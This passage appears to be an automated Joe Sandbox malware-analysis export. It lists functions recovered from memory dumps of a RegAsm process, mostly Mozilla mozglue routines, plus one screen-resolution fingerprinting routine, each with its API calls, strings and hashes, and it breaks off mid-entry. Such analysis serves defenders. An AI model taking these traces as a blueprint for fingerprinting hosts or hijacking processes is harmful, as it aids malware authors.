WideCharToMultiByte.KERNEL32 ref: 6CA3C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA3C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA3CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA3CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA3CAA5

Strings

(null), xrefs: 6CA3C596
0, xrefs: 6CA3D30A

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 72a1b3dff9fb0f7773da7dad22c46dde4cfd843271d41eeb45ac645e51fa4285
Instruction ID: ca4c527f54b0e987daec4e05b29704d45c7c73cc5216911c8454ba023d5929a7
Opcode Fuzzy Hash: 72a1b3dff9fb0f7773da7dad22c46dde4cfd843271d41eeb45ac645e51fa4285
Instruction Fuzzy Hash: 1FA1AF306083629FDB00DF28C96475ABBF5AF89748F189A1DE88AD7741D731DC85CB92

Function 6CA13480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA13492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA1350E
__Init_thread_footer.LIBCMT ref: 6CA13522
__aulldiv.LIBCMT ref: 6CA13552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA1357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA13592

Part of subcall function 6CA4AB89: EnterCriticalSection.KERNEL32(6CA9E370,?,?,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB94
Part of subcall function 6CA4AB89: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4ABD1

Strings

kernel32.dll, xrefs: 6CA134EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA13508

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 46a033438210c8004be2c0bf6dd69ccf29f1425d643448f4e41d2e57acdc1702
Instruction ID: cbfb33fa972316e7f5254422ad2ee123fd3c1159a8032fc6906f42b4459d9ba6
Opcode Fuzzy Hash: 46a033438210c8004be2c0bf6dd69ccf29f1425d643448f4e41d2e57acdc1702
Instruction Fuzzy Hash: 7A310171B1130B9FDF08DFB9CD4AAAA73B9FB45714F108119E64293A50EF30A946CB60

Function 6CA14480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA54843,?), ref: 6CA145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA54843,?), ref: 6CA1468A
free.MOZGLUE(?,?,?,?,?,?,6CA54843,?), ref: 6CA146C9
free.MOZGLUE(?), ref: 6CA146EF
free.MOZGLUE(?), ref: 6CA14712
free.MOZGLUE(?), ref: 6CA14735
free.MOZGLUE(?), ref: 6CA14758
free.MOZGLUE(?), ref: 6CA1477B
free.MOZGLUE(?), ref: 6CA1479E

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 419a171a55b44e2a6eccfc6ca108b3a725c7ca6209bb7e89acc76f5cbc75f52d
Instruction ID: 6d14ec19d578d8f228f0b249707fbfea7350535f83fceacbe6a7643e0f22914d
Opcode Fuzzy Hash: 419a171a55b44e2a6eccfc6ca108b3a725c7ca6209bb7e89acc76f5cbc75f52d
Instruction Fuzzy Hash: B2B1F371A081118FDB18DE3CD9A47AD76B2AF4232CF184669E426DFFC6D73098C48B91

Function 6CA7AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CA7AC52
CreateFileMappingW.KERNEL32 ref: 6CA7AC7D
GetSystemInfo.KERNEL32 ref: 6CA7AC98
MapViewOfFile.KERNEL32 ref: 6CA7ACB0
GetSystemInfo.KERNEL32 ref: 6CA7ACCD
MapViewOfFile.KERNEL32 ref: 6CA7AD05
UnmapViewOfFile.KERNEL32 ref: 6CA7AD1C
CloseHandle.KERNEL32 ref: 6CA7AD28
UnmapViewOfFile.KERNEL32 ref: 6CA7AD37
CloseHandle.KERNEL32 ref: 6CA7AD43
CloseHandle.KERNEL32 ref: 6CA7AD67

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: c4f736b896d3eb1e031f3067ed337b3a1cf5984b74e592933e0ae9e7b6c21559
Instruction ID: 6a99c955053425a6853020ac4ec2509ec34dd4a745bc1300b2562c7b0054aeda
Opcode Fuzzy Hash: c4f736b896d3eb1e031f3067ed337b3a1cf5984b74e592933e0ae9e7b6c21559
Instruction Fuzzy Hash: F73182B1904705CFDB14EF78D64926EBBF5BF85305F018A2DE88587211EF709889CB92

Function 6CA11E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA9E784), ref: 6CA11EC1
LeaveCriticalSection.KERNEL32(6CA9E784), ref: 6CA11EE1
EnterCriticalSection.KERNEL32(6CA9E744), ref: 6CA11F38
LeaveCriticalSection.KERNEL32(6CA9E744), ref: 6CA11F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA11F83
LeaveCriticalSection.KERNEL32(6CA9E784), ref: 6CA11FC0
EnterCriticalSection.KERNEL32(6CA9E784), ref: 6CA11FE2
LeaveCriticalSection.KERNEL32(6CA9E784), ref: 6CA11FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA12019

Strings

MOZ_CRASH(), xrefs: 6CA12000

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 74e56d7c6f88841edc03e71b6ee121639a4f9271d12d92f64b0368d18a39991a
Instruction ID: 7cc969bf6baf23d3bc31fa7a07dc5bcdcb2bb357c3997f0ab09712dffba00c32
Opcode Fuzzy Hash: 74e56d7c6f88841edc03e71b6ee121639a4f9271d12d92f64b0368d18a39991a
Instruction Fuzzy Hash: C041F471B143168FDF148F69C886B6E36B5FF59308F044125EA059BB41DF71D8458BD2

Function 6CA27E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA27EA7
malloc.MOZGLUE(00000001), ref: 6CA27EB3

Part of subcall function 6CA2CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA2CB49
Part of subcall function 6CA2CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA2CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA27EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA27F19
malloc.MOZGLUE(?), ref: 6CA27F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA27F4D

Strings

d, xrefs: 6CA27F89

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: fb685f1b174bfedd7e68663716609bfea20b12a70edc62cf5722cfb5348c5af7
Instruction ID: 49ffdcf4905e4818ca42bc3b0beebfddba19c3f9227cb88219f1e38962c0665e
Opcode Fuzzy Hash: fb685f1b174bfedd7e68663716609bfea20b12a70edc62cf5722cfb5348c5af7
Instruction Fuzzy Hash: 96312571E0035A97DB009F28DC055BEB378EF96218F48D229DC4997612FB30A6C9C390

Function 00418260 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(014FA9D8,00000000,00000000,00000000), ref: 00418295
GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
ReleaseDC.USER32(00000000,?), ref: 004182C2
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
wsprintfA.USER32 ref: 004182F0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

%dx%d, xrefs: 004182E7

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: f0d4acb1ac753fb06a7b9db10b722e5fc8e176ad761074ecd0f0867b839b4748
Instruction ID: 994268d552e07794471dd3910f4d3ddbdeb6f1ac9b11d1c79e25ca2fe4432fdb
Opcode Fuzzy Hash: f0d4acb1ac753fb06a7b9db10b722e5fc8e176ad761074ecd0f0867b839b4748
Instruction Fuzzy Hash: 492130B1A40608AFDB10DFA4DC45FAEBBB9FB48710F104119F605A7290C779A901CBA5

Function 6CA23E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CA23CCC), ref: 6CA23EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA23FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CA23CCC), ref: 6CA24006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA240A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA23CCC), ref: 6CA240AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA23CCC), ref: 6CA240C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA24134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA23CCC), ref: 6CA24143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA23CCC), ref: 6CA24157

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 7e70612691f079679667b12b98351db2e738878dc888f4591c955e7d497a87ef
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 43A18EB1A01225CFDB50CF29C980659B7B5FF49308F294199D909AF742D779E8C6CFA0

Function 6CA69D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA68273), ref: 6CA69D65
free.MOZGLUE(6CA68273,?), ref: 6CA69D7C
free.MOZGLUE(?,?), ref: 6CA69D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA69E0F
free.MOZGLUE(6CA6946B,?,?), ref: 6CA69E24
free.MOZGLUE(?,?,?), ref: 6CA69E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA69EC8
free.MOZGLUE(6CA6946B,?,?,?), ref: 6CA69EDF
free.MOZGLUE(?,?,?,?), ref: 6CA69EF5

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 08e9f6a56b213f8a5b9d7b9dd8bd2829a7524b28d7f3202973df6ac35a2d5709
Instruction ID: df30f005fbdd1936fc3f19275b58f2315909cc608c257623036af1dcbc6cf26a
Opcode Fuzzy Hash: 08e9f6a56b213f8a5b9d7b9dd8bd2829a7524b28d7f3202973df6ac35a2d5709
Instruction Fuzzy Hash: 8E719E70909B41CBC712CF29C64055AF3F4FF99325B449619E89A9BB41EB30E8C9CB81

Function 6CA6DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CA6DDCF

Part of subcall function 6CA4FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA4FA4B

Part of subcall function 6CA690E0: free.MOZGLUE(?,00000000,?,?,6CA6DEDB), ref: 6CA690FF
Part of subcall function 6CA690E0: free.MOZGLUE(?,00000000,?,?,6CA6DEDB), ref: 6CA69108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6DE0D
free.MOZGLUE(00000000), ref: 6CA6DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA5DEFD,?,6CA24A68), ref: 6CA6DF32

Part of subcall function 6CA6DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA6DB86
Part of subcall function 6CA6DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA6DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA5DEFD,?,6CA24A68), ref: 6CA6DF65
free.MOZGLUE(?), ref: 6CA6DF80

Part of subcall function 6CA35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA35EDB
Part of subcall function 6CA35E90: memset.VCRUNTIME140(6CA77765,000000E5,55CCCCCC), ref: 6CA35F27
Part of subcall function 6CA35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA35FB2

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 903b7ac97c5723b43ec0930f9cce2e861644905e2b69d050942164eee9132bd6
Instruction ID: 4da8bf3f11ccc7f942713d127b3228a4a4e9005e8e38d129eb899ac8e155fc68
Opcode Fuzzy Hash: 903b7ac97c5723b43ec0930f9cce2e861644905e2b69d050942164eee9132bd6
Instruction Fuzzy Hash: 8951E872E017119BD7119F2AD9802AE7372BF91788FA9051CD45A53F00DB31F899CB82

Function 6CA75D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CA75C8C,?,6CA4E829), ref: 6CA75D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CA75C8C,?,6CA4E829), ref: 6CA75D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CA75C8C,?,6CA4E829), ref: 6CA75D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CA75C8C,?,6CA4E829), ref: 6CA75D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CA75C8C,?,6CA4E829), ref: 6CA75DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CA75C8C,?,6CA4E829), ref: 6CA75DC9
std::_Facet_Register.LIBCPMT ref: 6CA75DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CA75C8C,?,6CA4E829), ref: 6CA75E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CA75C8C,?,6CA4E829), ref: 6CA75E45

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 983768140a0efc822275717ca64ffff0d2d95c7b6cc98aa8f24578c6753e2ffc
Instruction ID: e68c2e69be31b1eab8221e0ebe3b85c00e2ea47d68efb17c50b641c0f6ecc89e
Opcode Fuzzy Hash: 983768140a0efc822275717ca64ffff0d2d95c7b6cc98aa8f24578c6753e2ffc
Instruction Fuzzy Hash: 854192347003058FDB24DFA5D999AAD77B5FF48314F18816CE50A97792DB30D846CB60

Function 6CA4CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA131A7), ref: 6CA4CDDD

Strings

<jemalloc>, xrefs: 6CA4CF9F, 6CA4CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CA4CFA4, 6CA4CFB8

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 964ea6a7dd272ba6ce1a71475e9bcb9ee2726d7cc322763af34183b6bf2faa00
Instruction ID: e0388388c1d7291a0be6365f6971e0680b2b9d30478dc7c79b7f9d828f715091
Opcode Fuzzy Hash: 964ea6a7dd272ba6ce1a71475e9bcb9ee2726d7cc322763af34183b6bf2faa00
Instruction Fuzzy Hash: 0531E6307503066BEF14AEA98C47F6E36B5BB41B0CF24C114F619AB680DB70D48987A1

Function 6CA1ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA1F100: LoadLibraryW.KERNEL32(shell32,?,6CA8D020), ref: 6CA1F122
Part of subcall function 6CA1F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA1F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA1ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA1EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA1EDCC
CreateFileW.KERNEL32 ref: 6CA1EE08
free.MOZGLUE(00000000), ref: 6CA1EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA1EE32

Part of subcall function 6CA1EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA1EBB5
Part of subcall function 6CA1EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA4D7F3), ref: 6CA1EBC3
Part of subcall function 6CA1EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA4D7F3), ref: 6CA1EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA1EDC1

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: a2cc000d4774ad98daa63e6921e959644f39f1de61144b9b760a802282b56c53
Instruction ID: aac2b890b7907843b8ab00b05c5c0eb6df90898997044c02a3aa4f48011eb57b
Opcode Fuzzy Hash: a2cc000d4774ad98daa63e6921e959644f39f1de61144b9b760a802282b56c53
Instruction Fuzzy Hash: 78510471D093049BDB00DF68C9496EEB7B1AF49318F48852DE85567F80E73469C8C7E2

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

